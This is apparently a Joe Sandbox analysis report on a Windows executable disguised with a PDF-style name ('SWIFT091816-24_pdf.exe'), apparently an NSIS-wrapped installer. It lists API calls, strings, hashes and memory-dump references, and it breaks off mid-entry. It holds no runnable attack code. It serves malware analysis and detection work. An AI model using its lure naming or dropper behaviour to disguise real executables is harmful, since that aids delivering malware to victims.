Instruction ID: dd3f9e4c49c61f52868447dcb3d39b77a72b713ccf0d54d9464424dd5907340f
Opcode Fuzzy Hash: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction Fuzzy Hash: E87190B1900209BFDB109F61DD89EAA7B69FB84355F00803AFB05BA1D0C778AD51CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction ID: 6108585e84898fc0a566315ef3a84ca8793ce744416779fac967068cfe9173e2
Opcode Fuzzy Hash: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction Fuzzy Hash: 0E418A71800209AFCB058F95DE459AFBBB9FF44310F04842EF991AA1A0C738EA54DFA4

Function 00405D84 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00430908,NUL,?,00000000,?,0040A300,00405F17,?,?), ref: 00405D93
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,0040A300,00405F17,?,?), ref: 00405DB7
GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 00405DC0

Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

GetShortPathNameW.KERNEL32(00431108,00431108,00000400), ref: 00405DDD
wsprintfA.USER32 ref: 00405DFB
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,?,00431108,?,?,?,?,?), ref: 00405E36
GlobalAlloc.KERNEL32(?,0000000A,?,?,?,?), ref: 00405E45
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7D
SetFilePointer.KERNEL32(0040A578,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A578,00000000,[Rename],00000000,00000000,00000000), ref: 00405ED3
GlobalFree.KERNEL32(00000000), ref: 00405EE4
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405EEB

Part of subcall function 00405C2A: GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\SWIFT091816-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Strings

%ls=%ls, xrefs: 00405DF1
NUL, xrefs: 00405D8D
[Rename], xrefs: 00405E65, 00405E77

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: b2f9954a637af8ebec5c0b1a6beb43ebeeb7d59e5d1590defe92d75fa46bc12e
Instruction ID: 58c57230207582c12286da0908ad594a16be4941a6f2872b3690da29fc8d014c
Opcode Fuzzy Hash: b2f9954a637af8ebec5c0b1a6beb43ebeeb7d59e5d1590defe92d75fa46bc12e
Instruction Fuzzy Hash: 01311370600B18BBD2206B219D49F6B3A5CEF45755F14043AB981F62D2EE7CAA01CAAD

Function 100022D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 10002416

Part of subcall function 1000122C: lstrcpynW.KERNEL32(00000000,?,100012DF,00000019,100011BE,-000000A0), ref: 1000123C

GlobalAlloc.KERNEL32(?), ref: 10002397
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023B2

Strings

@Hmu, xrefs: 100023CB

Memory Dump Source

Source File: 00000000.00000002.2471251623.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2471237821.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2471265197.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2471278641.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID: @Hmu
API String ID: 4216380887-887474944
Opcode ID: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction ID: a8798eece1b67337def5fc6f06e905ed3cc6fca3e5836deafc22007a072d802d
Opcode Fuzzy Hash: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction Fuzzy Hash: A14190B1508305EFF320DF24D885AAA77F8FB883D0F50452DF9468619ADB34AA54DB61

Function 004062E9 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(0040A300,*?|<>/":,00000000,"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe",74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 0040634C
CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
CharNextW.USER32(0040A300,"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe",74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406360
CharPrevW.USER32(0040A300,0040A300,74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406373

Strings

"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe", xrefs: 0040632D
C:\Users\user\AppData\Local\Temp\, xrefs: 004062EA
*?|<>/":, xrefs: 0040633B

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\SWIFT091816-24_pdf.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3212668207
Opcode ID: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction ID: f5504631107e1e3793a073f133b65ff293a0897d7111eb10bd5d41781883406d
Opcode Fuzzy Hash: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction Fuzzy Hash: B611C42690061295DB303B558C84AB762F8EF54750F56843FED86B32D0EB7C9CA2C6ED

Function 00404180 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040419D
GetSysColor.USER32(00000000), ref: 004041B9
SetTextColor.GDI32(?,00000000), ref: 004041C5
SetBkMode.GDI32(?,?), ref: 004041D1
GetSysColor.USER32(?), ref: 004041E4
SetBkColor.GDI32(?,?), ref: 004041F4
DeleteObject.GDI32(?), ref: 0040420E
CreateBrushIndirect.GDI32(?), ref: 00404218

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction ID: dec6db0c7b043789455d5ba444b9f0b4b6699da27fefac44a21b5edf9a5b929b
Opcode Fuzzy Hash: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction Fuzzy Hash: E321C3B1500704ABCB219F68EE08B4BBBF8AF40710F04896DF996F66A0C734E944CB64

Function 004051B4 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,74DF23A0), ref: 0040520F
SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 183bef7a41385e3ccd61e2bddc5e3e752014e2c91baf1b93c875fecc4eda2183
Instruction ID: bea5982b108369c56cf3d35f12f42b62494ffc2cb206b3c5387e037ca996873b
Opcode Fuzzy Hash: 183bef7a41385e3ccd61e2bddc5e3e752014e2c91baf1b93c875fecc4eda2183
Instruction Fuzzy Hash: B2219D71900518BBCB119FA5DD849DFBFB8EF45354F14807AF944B6290C7794A50CFA8

Function 00404A7E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A99
GetMessagePos.USER32 ref: 00404AA1
ScreenToClient.USER32(?,?), ref: 00404ABB
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404ACD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AF3

Strings

f, xrefs: 00404ACF

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction ID: 4e6aff0cdf26a8240c2caa3ab5eae10a4373f49143cb0f782fa754f2c80184c8
Opcode Fuzzy Hash: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction Fuzzy Hash: AE015E71A40219BADB00DB94DD85FFEBBBCAF55711F10012BBA51B61D0C7B49A058BA4

Function 00402D04 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402D22
MulDiv.KERNEL32(0006A2FA,?,0006A2FE), ref: 00402D4D
wsprintfW.USER32 ref: 00402D5D
SetWindowTextW.USER32(?,?), ref: 00402D6D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D7F

Strings

verifying installer: %d%%, xrefs: 00402D57

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction ID: 97815700fdd75a8fa64cd4b2fc5eb6b0a03b286ae4c71c47182b2025913274cc
Opcode Fuzzy Hash: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction Fuzzy Hash: 1801447060020DBFEF249F61DE49FEA3B69AB04304F008039FA45B91D0DBB889558F58

Function 00401D56 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040CDF8), ref: 00401DD1

Strings

Calibri, xrefs: 00401DB7

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Calibri
API String ID: 3808545654-1409258342
Opcode ID: 19b2d30e00b512fe454d1cbfc28b544df66b8b4a94fa99dfbc87282a1f03fb40
Instruction ID: 434465042c296b11fe85f1af20959402fdd5081aa20827676714b0861cca44ca
Opcode Fuzzy Hash: 19b2d30e00b512fe454d1cbfc28b544df66b8b4a94fa99dfbc87282a1f03fb40
Instruction Fuzzy Hash: C301A231544640EFE7015BB0EF8AB9A3F74AB66301F208579E581B62E2C9B800559BAE

Function 100024A9 Relevance: 9.1, APIs: 6, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNEL32(?,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalFree.KERNEL32(?), ref: 10002572
GlobalFree.KERNEL32(00000000), ref: 100025AD

Memory Dump Source

Source File: 00000000.00000002.2471251623.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2471237821.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2471265197.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2471278641.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction ID: 76257f5bf6759f365bfcd452de7d39bb0b2322773c3eba187a8a795e141f7608
Opcode Fuzzy Hash: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction Fuzzy Hash: 6831DE71504A21EFF321CF14CCA8E2B7BF8FB853D2F114529FA40961A8CB319851DB69

Function 00402870 Relevance: 9.1, APIs: 6, Instructions: 72memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00405C2A: GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\SWIFT091816-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GlobalAlloc.KERNEL32(?,?), ref: 00402894
CloseHandle.KERNEL32(?), ref: 00402914

Part of subcall function 00403258: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FB5,?,?,?,00000000,0040353A,?), ref: 00403266

GlobalAlloc.KERNEL32(?,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC

Part of subcall function 00403027: GetTickCount.KERNEL32 ref: 00403091
Part of subcall function 00403027: GetTickCount.KERNEL32 ref: 00403138
Part of subcall function 00403027: MulDiv.KERNEL32(7FFFFFFF,?,?), ref: 00403161
Part of subcall function 00403027: wsprintfW.USER32 ref: 00403174

DeleteFileW.KERNEL32(?), ref: 00402928

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: FileGlobal$AllocCountFreeTick$AttributesCloseCreateDeleteHandlePointerwsprintf
String ID:
API String ID: 2082585436-0
Opcode ID: a6b29bbfff6bedb85eff617e0f32f780eda951c653e88163e3cff6ef8cd4870b
Instruction ID: f11faf613eabf70f6da5efab5544ef3b1f343b4f82166007b8c29dabf9a1b1c4
Opcode Fuzzy Hash: a6b29bbfff6bedb85eff617e0f32f780eda951c653e88163e3cff6ef8cd4870b
Instruction Fuzzy Hash: D0217C72800118BFCF116FA5CE4889E7EB9EF09324F24423AF554762E0C6795D81DB68

Function 00402537 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsq69D9.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsq69D9.tmp\System.dll,00000400,?,?,00000021), ref: 00402583
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsq69D9.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsq69D9.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsq69D9.tmp\System.dll,00000400,?,?,00000021), ref: 0040258E

Strings

C:\Users\user\AppData\Local\Temp\nsq69D9.tmp\System.dll, xrefs: 00402552, 00402575, 00402589, 004025D5
C:\Users\user\AppData\Local\Temp\nsq69D9.tmp, xrefs: 0040257C

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsq69D9.tmp$C:\Users\user\AppData\Local\Temp\nsq69D9.tmp\System.dll
API String ID: 3109718747-95932336
Opcode ID: 3d2fa72be5f195c02a17edb7a7abc67028f461df84df2576b51681d351cbf091
Instruction ID: 733a5b8a3421de7103486a8e2fd1e7248c9e7ae9f3a69bb90da27b1d5488d101
Opcode Fuzzy Hash: 3d2fa72be5f195c02a17edb7a7abc67028f461df84df2576b51681d351cbf091
Instruction Fuzzy Hash: E011EB71A01205BBDB10AF718F49A9F3265DF44754F24403BF501F61C2EAFC9D91566D

Function 100018A9 Relevance: 7.7, APIs: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 10001908
GlobalFree.KERNEL32(?), ref: 10001A93
GlobalFree.KERNEL32(?), ref: 10001A98

Memory Dump Source

Source File: 00000000.00000002.2471251623.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2471237821.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2471265197.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2471278641.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction ID: 56de187798276af1e94fdae5c91d23c4da0ac5596926d43ddda2a484f8c4ba85
Opcode Fuzzy Hash: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction Fuzzy Hash: 82511336E06115ABFB14DFA488908EEBBF5FF863D0F16406AE801B315DD6706F809792

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402C20
